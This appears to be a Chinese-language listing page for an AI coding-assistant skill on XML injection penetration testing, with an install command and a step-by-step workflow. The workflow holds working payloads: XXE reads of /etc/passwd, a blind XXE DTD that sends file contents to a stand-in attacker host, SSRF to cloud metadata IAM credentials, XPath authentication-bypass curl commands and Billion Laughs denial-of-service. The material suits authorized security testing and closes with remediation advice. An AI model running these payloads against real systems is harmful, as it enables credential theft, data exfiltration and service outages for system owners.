关于 testing-for-xml-injection-vulnerabilities
面向应用安全测试人员的 XML 注入测试技能,适用于处理 XML 的服务、文件导入和 SAML 流程。涵盖 XXE、盲 XXE、XPath 注入及相关风险验证。
主要功能
- 01定位 XML 处理端点
- 02测试 XXE 文件读取
- 03通过带外交互检测盲 XXE
- 04检查 XXE 引发的 SSRF
- 05测试 XPath 注入与实体扩展
适用场景
- 01评估 SOAP 或 XML API
- 02测试 SAML 身份验证流程
- 03检查 XML 文件导入功能
- 04验证 SVG 上传的 XML 解析风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-xml-injection-vulnerabilities安装后在 Claude Code 中输入/testing-for-xml-injection-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
测试 XML 注入漏洞
何时使用
- 在测试处理 XML 输入的应用程序时(SOAP API、XML-RPC、文件上传)
- 在对带有 XML 解析器的应用程序进行渗透测试期间
- 在评估基于 SAML 的认证实现时
- 在测试处理 XML 格式的文件导入/导出功能时
- 在对基于 SOAP 或 XML 的 Web 服务进行 API 安全测试期间
前提条件
- 带 XML 相关扩展的 Burp Suite(Content Type Converter、XXE Scanner)
- XMLLint 或类似的 XML 验证工具
- 理解 XML 结构、DTD 和实体处理
- Python 3.x 及 lxml 和 requests 库
- 可访问带外交互服务器(Burp Collaborator、interact.sh)
- 来自 PayloadsAllTheThings 仓库的示例 XXE 载荷
工作流
第 1 步 — 识别 XML 处理端点
# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl
# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><test>hello</test></root>'
# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing
第 2 步 — 测试基础 XXE(文件读取)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>
第 3 步 — 使用带外检测测试盲 XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd">
%xxe;
]>
<root><data>test</data></root>
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>">
%eval;
%exfil;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net">
]>
<root><data>&xxe;</data></root>
第 4 步 — 通过 XXE 测试 SSRF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/">
]>
<root><data>&xxe;</data></root>
第 5 步 — 测试 XPath 注入
# Basic XPath injection in search parameters
curl "http://target.com/search?query=' or '1'='1"
# XPath authentication bypass
curl -X POST http://target.com/login \
-d "username=' or '1'='1&password=' or '1'='1"
# XPath data extraction
curl "http://target.com/search?query=' or 1=1 or ''='"
# Blind XPath injection with boolean-based extraction
curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='"
curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='"
第 6 步 — 测试 XML Billion Laughs(DoS)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
]>
<root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>
关键概念
| 概念 | 描述 |
|---|---|
| XXE(XML 外部实体) | 利用处理外部实体引用的 XML 解析器发起的攻击 |
| 盲 XXE | 响应未被回显的 XXE;需要带外通道 |
| XPath 注入 | 向用于导航 XML 文档的 XPath 查询注入 |
| DTD(文档类型定义) | 定义 XML 文档结构和实体的声明 |
| 参数实体 | 在 DTD 中用于盲 XXE 利用的特殊实体(%) |
| 通过 XXE 的 SSRF | 利用 XXE 向内部资源发起服务器端请求 |
| XML 炸弹 | 通过递归实体扩展造成的拒绝服务(Billion Laughs) |
工具与系统
| 工具 | 用途 |
|---|---|
| Burp Suite | 带 XXE Scanner 扩展的 HTTP 代理,用于自动化检测 |
| XXEinjector | 自动化 XXE 注入与数据外泄工具 |
| OXML_XXE | 用于将 XXE 载荷嵌入 Office XML 文档的工具 |
| xmllint | 用于载荷测试的 XML 验证与解析实用工具 |
| interact.sh | 用于盲 XXE 检测的带外交互服务器 |
| Content Type Converter | 用于将 JSON 请求转换为 XML 以进行 XXE 测试的 Burp 扩展 |
常见场景
- 文件泄露 — 通过 XML 输入字段中的经典 XXE 实体注入读取敏感服务器文件(/etc/passwd、web.config)
- SSRF 访问云元数据 — 通过 XXE 访问 AWS/GCP/Azure 元数据端点,以窃取 IAM 凭证和访问令牌
- 盲数据外泄 — 当 XXE 输出未回显时,通过带外 DNS/HTTP 通道提取敏感数据
- SAML XXE — 在单点登录认证流程中向 SAML 断言注入 XXE 载荷
- SVG 文件上传 XXE — 上传包含 XXE 载荷的恶意 SVG 文件,以触发服务器端 XML 解析
输出格式
## XML Injection Assessment Report
- **Target**: http://target.com/api/xml-endpoint
- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection
- **Severity**: Critical
### Findings
| # | Type | Endpoint | Payload | Impact |
|---|------|----------|---------|--------|
| 1 | XXE File Read | POST /api/import | SYSTEM "file:///etc/passwd" | Local File Disclosure |
| 2 | Blind XXE | POST /api/upload | External DTD with OOB | Data Exfiltration |
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
### Remediation
- Disable external entity processing in XML parser configuration
- Use JSON instead of XML where possible
- Implement XML schema validation with strict DTD restrictions
- Block outbound connections from XML processing services
评论
支持 Markdown